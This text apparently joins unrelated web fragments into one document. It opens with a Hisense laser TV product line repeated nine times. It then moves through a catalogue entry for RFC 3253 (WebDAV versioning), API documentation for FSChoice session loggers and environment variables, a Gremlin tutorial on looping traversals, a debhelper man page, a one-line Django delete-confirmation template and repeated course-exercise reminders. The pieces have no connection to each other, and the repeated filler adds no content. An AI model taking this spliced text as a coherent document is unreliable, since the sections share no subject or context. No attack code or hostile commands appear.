laser tv
4K UHD Hisense Smart Laser TV with HDR
100"
200
lsf
laser tv
4K UHD Hisense Smart Laser TV with HDR
100"
200
lsf
laser tv
4K UHD Hisense Smart Laser TV with HDR
100"
200
lsf
laser tv
4K UHD Hisense Smart Laser TV with HDR
100"
200
lsf
laser tv
4K UHD Hisense Smart Laser TV with HDR
100"
200
lsf
laser tv
4K UHD Hisense Smart Laser TV with HDR
100"
200
lsf
laser tv
4K UHD Hisense Smart Laser TV with HDR
100"
200
lsf
laser tv
4K UHD Hisense Smart Laser TV with HDR
100"
200
lsf
laser tv
4K UHD Hisense Smart Laser TV with HDR
100"
200
lsf


--- layout: page title: "Versioning Extensions to WebDAV (Web Distributed Authoring and Versioning)" description: "This document specifies a set of methods, headers, and resource types that define the WebDAV (Web Distributed Authoring and Versioning) versioning extensions to the HTTP/1.1 protocol. WebDAV versioning will minimize the complexity of clients that are capable of interoperating with a variety of versioning repository managers, to facilitate widespread deployment of applications capable of utilizing the WebDAV Versioning services. WebDAV versioning includes automatic versioning for versioning-unaware clients, version history management, workspace management, baseline management, activity management, and URL namespace versioning." ---
| Document Name: | RFC 3253 |
|---|---|
| Document URI: |
urn:ietf:rfc:3253
|
| Online Version: |
https://datatracker.ietf.org/doc/html/rfc3253
|
| Organization: | Internet Engineering Task Force (IETF) |
| Series: | Request for Comments (RFC) |
| Abstract: | This document specifies a set of methods, headers, and resource types that define the WebDAV (Web Distributed Authoring and Versioning) versioning extensions to the HTTP/1.1 protocol. WebDAV versioning will minimize the complexity of clients that are capable of interoperating with a variety of versioning repository managers, to facilitate widespread deployment of applications capable of utilizing the WebDAV Versioning services. WebDAV versioning includes automatic versioning for versioning-unaware clients, version history management, workspace management, baseline management, activity management, and URL namespace versioning. |
Label
BASELINE-CONTROL
,
CHECKIN
,
CHECKOUT
,
LABEL
,
MERGE
,
MKACTIVITY
,
MKWORKSPACE
,
REPORT
,
UNCHECKOUT
,
UPDATE
,
VERSION-CONTROL
Return to ( Series | Organization | all Specifications )


FSChoice session operations are used to create session activities, which essentially encapsulate some kind of server state for the session, for the duration of the session. Currently two kinds of session activities are supported: a logging mechanism and a set of environment variables. A session can have multiple instances of either or both of these.
All session activities start with a create operation, which specifies a name for the activity that is unique to the session. If an activity with the specified name already exists for the session, it is first closed, and then the new activity is created. The create operation also specifies the kind of activity to be created, and each kind of activity will have its own set of supported operations. All activities also have a close operation which terminates the activity. Any open activities are implicitly closed when the session is terminated.
All operations on session activities include the name of the activity as the id parameter. Operations are accessed from a client via an HTTP POST operation with the parameters in a JSON-encoded body. The URL for the POST typically takes the form:
http://host:port/fschoice/?api=session
choice-session.js has general support for FSChoice session operations in the form of:
promise = $.session('doSessionOp', reqobj, options)
reqobj -
the request object, including at least the op
and id fields
options - jQuery $.ajax options
This function returns a promise for the object returned by the session operation. It is also subject to the serialization of Ajax requests that choice-session.js performs.
A session logger activity supports logging to a text file. The file path and MIME type are specified in the create operation, with an option to append to an existing file. The only operation it supports other than create and close is put, which writes data to the log. If the data provided is a string, it is written verbatim to the log file. If the data is some other JSON-encoded value, it typically rendered to the log as a string followed by a newline.
op -
"create"
id - the name of the logger as a
string
kind - "logger"
path - the file path of the log
file, which may or may not already exist
append - a boolean indicating
whether subsequent logging should append to an existing file, or overwrite
it
mimetype - the MIME type of the
log file, which should be some textual type
This creates a logger with the given name, logging to the file at the given file path. If the file does not already exist, the mimetype will determine the MIME type of the created file. If the file does exist, the mimetype is ignored.
promise = $.session('openLog', reqobj, options)
The defaults for this operation are:
op -
"create"
kind - "logger"
id - "log
append - true
mimetype - "text/plain"
These can be overridden by fields in the
request object, reqobj. The
request object should contain at least the path
argument.
op -
"put"
id - the name given the logger
when it was created
data - the data to be written to
the log
The specified data is written to the log. If the data is not a string, it is converted to a string, which is then written with a terminating newline to the log.
promise = $.session('log', reqobj, options)
The defaults for this operation are:
op -
"put"
kind - "logger"
id - "log
These can be overridden by fields in the request object, reqobj. The request object should include the data argument.
op -
"close"
id - the name of the logger to be
closed
This closes the log file and terminates the logger.
promise = $.session('closeLog', reqobj, options)
The defaults for this operation are:
op -
"close"
kind - "logger"
id - "log
These can be overridden by fields in the request object. In practice, only the id might have a different value. The returned object contains:
status
- a code of 1 if successful, otherwise a negative value and the msg
field should be present
msg - an error message if status
is negative
A session environment activity supports the storage of environment variables on the server for the duration of the session. Each environment variable has a name and a stack of values. The value of an environment variable can be set by overwriting any current value (set), or by pushing a new value on the stack, or by popping a value from the stack. Environment values are presented to the server and returned to the client as strings. An environment also can be initialized by passing a JSON-encoded object, where the keys of the object are the names of the environment variables, and the values are their values.
Multiple environment activities with different names can be created for the same session. The variables stored in an activity do not persist when the activity is closed.
There is currently no support in choice-session.js for environment activities, aside from the generic 'doSessionOp' function.
op -
"create"
id - the name of the environment
as a string
kind - "environ"
This creates an initially empty environment activity. The result of the operation is an object containing:
status
- a code of 1 if successful, otherwise a negative value and the msg
field should be present
msg - an error message if status
is negative
op -
"init"
id - the name given the
environment when it was created
env - an object containing an
initial set of environment variables and values
This initializes the named environment with the variables and values
specified in the env object. The
values should be strings. This replaces all pre-existing variables in the
environment. The result of the operation is an object containing:
status
- a code of 1 if successful, otherwise a negative value and the msg
field should be present
msg - an error message if status
is negative
op -
"get"
id - the name given the
environment when it was created
name - the name of the environment
variable whose value is to be retrieved
The current value of the named environment variable is returned in an object with the environment variable name and value as a (key: value) pair. The returned object contains:
status
- a code of 1 if successful, otherwise a negative value and the msg
field should be present
msg - an error message if status
is negative
result - an object containing the
variable name and value
op -
"set"
id - the name given the
environment when it was created
name - the name of the environment
variable whose value is to be set
value - an optional string which
becomes the new value of the environment variable
This sets the named environment variable value to the value specified, if any, replacing the stack of values with a stack containing only the given value. If the value is not specified, this essentially removes the named variable from the environment. The returned object contains:
status
- a code of 1 if successful, otherwise a negative value and the msg
field should be present
msg - an error message if status
is negative
result - an object containing the
variable name and previous value, if any
op -
"push"
id - the name given the
environment when it was created
name - the name of the environment
variable for which a value is to be pushed
value - the value to be pushed,
which becomes the current value of the environment variable
The specified value is pushed on the value stack of the named environment variable. It becomes the value that is retrieved by a get operation, but the previous value can be restored by popping the value stack. The returned object contains:
status
- a code of 1 if successful, otherwise a negative value and the msg
field should be present
msg - an error message if status
is negative
result - an object containing the
variable name and previous value, if any
op -
"pop"
id - the name given the
environment when it was created
name - the name of the environment
variable for which a value is to be popped
This pops a value off the value stack of the named environment variable. The next value on the stack, if any, becomes the current value of the variable, and is returned in the result. The returned object contains:
status
- a code of 1 if successful, otherwise a negative value and the msg
field should be present
msg - an error message if status
is negative
result - an object containing the
variable name and the previous, now current, value, if any
op -
"close"
id - the name of the environment
to be closed
This closes the environment. The environment variables and their values are discarded. The returned object contains:
status
- a code of 1 if successful, otherwise a negative value and the msg
field should be present
msg - an error message if status
is negative


Looping is essential for traversing to an arbitrary depth. The loop
step allows you to loop over a particular set of steps in the pipeline. For the examples to follow, the Grateful Dead graph discussed in Defining a More Complex Property Graph is used. Most of the examples in this section make use of GremlinPipeline.optimize(boolean)
. Please refer to Traversal Optimization for the rationale behind this method.
gremlin> g = new TinkerGraph()
==>tinkergraph[vertices:0 edges:0]
gremlin> g.loadGraphML('data/graph-example-2.xml')
==>null
You can create an explicit pipeline to walk a particular path through the graph (outE.inV
).
gremlin> g.v(89).outE.inV.path
==>[v[89], e[7021][89-followed_by->83], v[83]]
==>[v[89], e[7022][89-followed_by->21], v[21]]
==>[v[89], e[7023][89-followed_by->206], v[206]]
==>[v[89], e[7006][89-followed_by->127], v[127]]
...
You can also loop for an arbitrary depth (i.e. any arbitrary number of loops through the looped section of the pipeline). In the example below, the loop
step is used. The single integer argument to loop
states how many steps back to loop over (i.e. outE.inV
). The provided closure says to continue to loop while the number of loops that have occurred is less than 3. Thus, what is emitted from loop
is the vertices 2 steps away from vertex 89 (Dark Star). Finally, the path
step is used to emit the paths of length 2 emanating from vertex 89.
gremlin> g.v(89).outE.inV.loop(2){it.loops < 3}.path
==>[v[89], e[7021][89-followed_by->83], v[83], e[1437][83-followed_by->29], v[29]]
==>[v[89], e[7021][89-followed_by->83], v[83], e[1411][83-followed_by->13], v[13]]
==>[v[89], e[7021][89-followed_by->83], v[83], e[1436][83-followed_by->14], v[14]]
==>[v[89], e[7021][89-followed_by->83], v[83], e[1410][83-followed_by->12], v[12]]
==>[v[89], e[7021][89-followed_by->83], v[83], e[1435][83-followed_by->36], v[36]]
...
Feel free to use as
to label the loop point.
gremlin> g.v(89).as('x').outE.inV.loop('x'){it.loops < 3}.path
==>[v[89], e[7021][89-followed_by->83], v[83], e[1437][83-followed_by->29], v[29]]
==>[v[89], e[7021][89-followed_by->83], v[83], e[1411][83-followed_by->13], v[13]]
==>[v[89], e[7021][89-followed_by->83], v[83], e[1436][83-followed_by->14], v[14]]
==>[v[89], e[7021][89-followed_by->83], v[83], e[1410][83-followed_by->12], v[12]]
==>[v[89], e[7021][89-followed_by->83], v[83], e[1435][83-followed_by->36], v[36]]
...
Note the the expression above is equivalent to the “unrolled” version below.
gremlin> g.v(89).outE.inV.outE.inV.path
==>[v[89], e[7021][89-followed_by->83], v[83], e[1437][83-followed_by->29], v[29]]
==>[v[89], e[7021][89-followed_by->83], v[83], e[1411][83-followed_by->13], v[13]]
==>[v[89], e[7021][89-followed_by->83], v[83], e[1436][83-followed_by->14], v[14]]
==>[v[89], e[7021][89-followed_by->83], v[83], e[1410][83-followed_by->12], v[12]]
==>[v[89], e[7021][89-followed_by->83], v[83], e[1435][83-followed_by->36], v[36]]
...
In fact:
gremlin> g.v(89).outE.inV.loop(2){it.loops < 3} == g.v(89).outE.inV.outE.inV
==>true
The it
component of the loop
step closure has three properties that are accessible. These properties can be used to reason about when to break out of the loop.
it.object
: the current object of the traverser.it.path
: the current path of the traverser.it.loops
: the number of times the traverser has looped through the loop section.NOTE: If you are using it.path
in the while/emit closure, be sure that the pipeline has had its path functionality enabled.
gremlin> g.v(89).out.loop(1){it.loops < 3}{it.path.contains(g.v(12))}
Cannot invoke method contains() on null object
Display stack trace? [yN]
gremlin> g.v(89).out.loop(1){it.loops < 3}{it.path.contains(g.v(12))}.enablePath
==>v[19]
==>v[27]
==>v[130]
==>v[49]
==>v[252]
...
The loop
step can be updated with a second closure called the “emit closure.” This boolean-based closure will determine wether the current object in the loop structure is emitted or not. As such, it is possible to emit intermediate objects, not simply those at the end of the loop.
gremlin> g.v(89).out.loop(1){it.loops < 4}.count()
==>70307
gremlin> g.v(89).out.loop(1){it.loops < 4}{true}.count()
==>71972
gremlin> g.v(89).out.loop(1){it.loops < 4}{it.object.id == '89'}.count()
==>582
Finally, use toString()
to see how loop
wraps a section of the pipeline.
gremlin> println g.v(89).outE.inV.path
[StartPipe, QueryPipe(out,[],has:false,interval:false,edge), InVertexPipe, PathPipe]
==>null
gremlin> println g.v(89).outE.inV.loop(2){it.loops < 3}.path
[StartPipe, LoopPipe([QueryPipe(out,[],has:false,interval:false,edge), InVertexPipe]), PathPipe]
==>null
gremlin> println g.v(89).out.loop(1){it.loops < 3}.path
[StartPipe, LoopPipe([OutPipe]), PathPipe]
==>null


DH_SCROLLKEEPER(1) Debhelper DH_SCROLLKEEPER(1) NAME dh_scrollkeeper - deprecated no-op SYNOPSIS dh_scrollkeeper [debhelperÂ options] [-n] [directory] DESCRIPTION dh_scrollkeeper was a debhelper program that handled registering OMF files for ScrollKeeper. However, it no longer does anything, and is now deprecated. SEE ALSO debhelper This program is a part of debhelper. AUTHOR Ross Burton<EMAIL_ADDRESS>9.20120909 2011-09-12 DH_SCROLLKEEPER(1)


{% extends 'shared/base.html' %} {% block content %}
Are you sure you want to permanently delete {{ object.profile.username }}'s profile?


These exercises are part of the asynchronous component of this course. Material is taught and demonstrated, but at times you are asked to complete one of the exercises to help you master the new concepts.In the repository you are using for this course, look inside the exercises source folder, and you will see assignments organized by name. Before continuing on to the next portion of the asynchronous material, spend some time on the exercise. When you are finished, commit your code so that credit for the exercise can be given.
It is not so important that you get the exercise exactly right. It is important to work through it as best you can before you look at the solution or continue with other work in this module.
Before starting this exercise:
Be sure to update your repository before beginning this assignment, so that you receive any code you need.
Remember that you have to have a @Test directive above any unit test method, as shown in the video.
After completing this exercise:
Commit any files you have changed so that you receive credit for your work!
Before starting this exercise:
Be sure to update your repository before beginning this assignment, so that you receive any code you need.
Remember that you have to have a @Test directive above any unit test method, as shown in the video.
See the code, as a hint is given there.
After completing this exercise:
Commit any files you have changed so that you receive credit for your work!
Before starting this exercise:
Be sure to update your repository before beginning this assignment, so that you receive any code you need.
After completing this exercise:
Commit any files you have changed so that you receive credit for your work!
Before starting this exercise:
Be sure to update your repository before beginning this assignment, so that you receive any code you need.
After completing this exercise:
Commit any files you have changed so that you receive credit for your work!